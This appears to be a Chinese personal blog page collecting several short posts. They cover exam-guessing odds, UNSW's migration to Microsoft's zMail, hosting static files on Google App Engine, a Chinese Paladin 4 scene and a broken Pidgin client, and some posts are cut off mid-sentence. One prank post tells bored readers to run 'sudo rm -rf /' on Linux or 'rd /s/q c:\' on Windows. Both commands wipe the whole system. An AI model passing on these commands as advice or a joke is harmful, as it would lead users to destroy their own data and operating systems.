etc.v1 //Eat, Think, Code.

Project Management 考试， 60 题五选一的选择题，前一分钟还在心里暗爽；一分零一秒后发现答卷上有这句话：“若答错四题，则倒扣一题的分数”——也就是说“错一题就扣四分之一题的分数”吧。真是用心险恶的考试……上次 Operating Systems 似乎也是这样的规矩，而且更过分，“答错一题就倒扣一题的分数”！ 典型的概率问题，如果对答案完全没有把握，到底是该任选一个呢？还是该空着呢？如果把不选也作为一种选项，那么五个选择＋一个不选，共六种选择。1/6 * 1 + 4/6 * (-1/4) + 1/6 * 0 = 0，看来如果是随便乱选就有很大的可能交白卷呢！不过话说回来，反正如果不选空着，结果肯定是零分，那还不如随便选一个，反正就大规模的样本（不过 60 题的题量，似乎不算是大数样本……当时没想这么多！）而言，结果是一样的——再说也不是全不知道答案，有些答案总是有把握的…… “所以说概率论和数理统计还是很有趣的，前提是不考虑考试因素。”前些日子说的这句话，还真是说对了！

上个月，听说 澳洲某些学校将邮箱服务外包给微软 ，学校名单中包括 University of New South Wales。终于，这个月开始， 邮箱迁移的指导手册 下来了，迁移活动就这么“轰轰烈烈”地开始了——以前怎么没发现学校的效率有这么快呢…… 因为 zMail FAQ 上那句“zMail is a mail service hosted 'in the cloud'”——由于现在所做项目的关系，对“云”相关的词汇（云计算、云存储……）都相当敏感——而欣欣然地把邮箱的迁移过程演练一遍、收发了几封邮件，但是结果相当地令人失望。 首先，整个 zMail 系统的服务定位相当地令人费解。在 UNSW 方面看来， zMail 系统的作用只是一个在线的邮件客户端系统。所以在使用说明里，一再强调学生应该使用 student.unsw.edu.au 作为邮箱域名，而 zmail.unsw.edu.au 则是作为登录 Windows Live 服务之用。而对于 Microsoft 而言， zMail 系统则是它的 Live@edu 计划的一个具体应用，功能也远非仅仅实现一个简单的邮件客户端，即时聊天、日历、在线存储、手机绑定以及手机邮件推送等功能也都包括在内。 于是在 zMail 系统上， zmail.unsw.edu.au 反客为主地成为了邮箱的主域名，所有发出去的新邮件都是以 zmail.unsw.edu.au，即使是回复来自 student.unsw.edu.au 的邮件，发送者地址仍然以 zmail.unsw.edu.au 结尾。最终解决方案是在 Option 选项的 Account 标签中，添加你的 student.unsw.edu.au 邮箱到 Other Accounts 部分，此后，你才能在发件人的 From 栏中选取以 student.unsw.edu.au 结尾的邮箱域名。但是有趣的是，Account 标签只能在 Internet Explorer 中才能使用， Mozilla Firefox、 Google Chrome 等都没有这部分配置选择。所以我们为了正确使用 zMail 系统，我们必须使用 Internet Explorer，而为了使用 Internet Explorer 我们必须安装 Windows 系统，不知道 U

如果你很空，那么： 在 Linux 下，打开 Terminal，输入以下命令 sudo rm -rf / 在 Windows 下，打开 附件 下的 命令提示符，输入以下命令 rd /s/q c:\ 然后你就会很忙了——忙着重装系统。

Addition V1，现在本文有个 英文版 啦。 今年 6 月， Google Page Creator 即将停止服务，一个免费的网页存储空间就这样凭空消失了。而对于老用户而言，伴随而来的，还有寻找替代空间所带来的无端痛苦。虽然， Google 提供了 将 Google Page Creator 迁移到 Google Sites 的方案 ，但由于 Google Sites 不支持 JavaScript 和 CSS 等功能，对于许多将 Blogger 的脚本代码存放在 Google Page Creator 的用户而言，这个方案显然并不合适。 其实，相对于 Google Sites ， Google 的另一个服务，作为云计算平台的 Google App Engine 更适合作为替代 Google Page Creator 的脚本宿主服务器——毕竟， App Engine 本身就是个在线服务器， 可以存储任何容量小于 1MB 的静态文件（一般单个的图片、网页和脚本文件的容量都不会超过 1MB） Google 的新规则允许存储任何容量小于 10MB 的静态文件，文件总数量可达 1000 个。（Updated on 6/19/2009） Google App Engine 本身相当强大，作为动态服务器，支持 Python 和 Java 代码的页面。但是将 Google App Engine 做为静态文件服务器，只需要适当了解 app.yaml 文件的配置 ， 本地测试 和 文件项目上传 即可——将需要上传的文件在本地目录下安排好，设置 app.yaml 下的 URL 和上传文件之间的映射关系，调用本地模拟环境进行测试，确保无误后上传。 以本人的两个 Google Page Creator 网站 alpha.roc.googlepages.com 和 alpha0roc.googlepages.com 为例。前者用于放置 JavaScript 的小 Demo，后者用于放置 Blogger 的脚本、图片和下载文件。迁移后，两个网站分别重定向到 alpha0rocdemo.appspot.com 的 demo 目录（此目录包含 index.html 文件，可直接通过页面访问） 和 blog 目录（此目录仅包含图片、脚本等资源，无法直接访问）。由于 Goog

在国产游戏史上，若不是《仙剑奇侠传》一代的存在已经被过度推崇，而成了“接近神的传说”；单就游戏性和故事性而言，《仙剑奇侠传 肆》是绝对超越其前代的一款作品。整个故事里弥漫的悲情气氛以及那种人生悲剧性的升华，和《仙剑奇侠传》一代相比，绝对是有过之而无不及。 四代中，主线和支线故事中，感人的一抓一大把。没时间逐一摘录，不过“弦歌问情”那段支线情节中，当剧情结束，萧人凤演唱的《仙剑问情》响起时，但凡认真玩着这段的人，都会有所感动吧。 直接放上游戏全剧情的“弦歌问情”部分——当然掠过了最最麻烦的杀怪过程——《仙剑问情》在 11 分钟左右。

更新 Ubuntu 之后，新安装的 Pidgin 就开始罢工——即使是自己下载源代码，手工编译，也无法运行——看来是 Pidgin 所依赖的某个系统类库出了问题。 没了 Pidgin，连不上 MSN、ICQ、QQ、Gtalk 和 Yahoo!，似乎一瞬间自己的生活和所有人都没有了交集。但是回过头来想想，平日里每天上线，但能聊天的人却也没有几个——手中拽着一把 IM 帐号，零零总总约 326 个联系人，大部分都是形同虚设——突然觉得这是件比连不上聊天软件还要悲哀的事情。 不能用聊天软件，就开始在 twitter 和饭否上叽叽喳喳。Web 2.0 时代，有了 RSS 聚合的支持，原本网友之间的互动已经不再重要，把自己的生活发布出去，让别人知道你在干什么，到是成了生活里的重中之重——即使大部分人根本就不 care。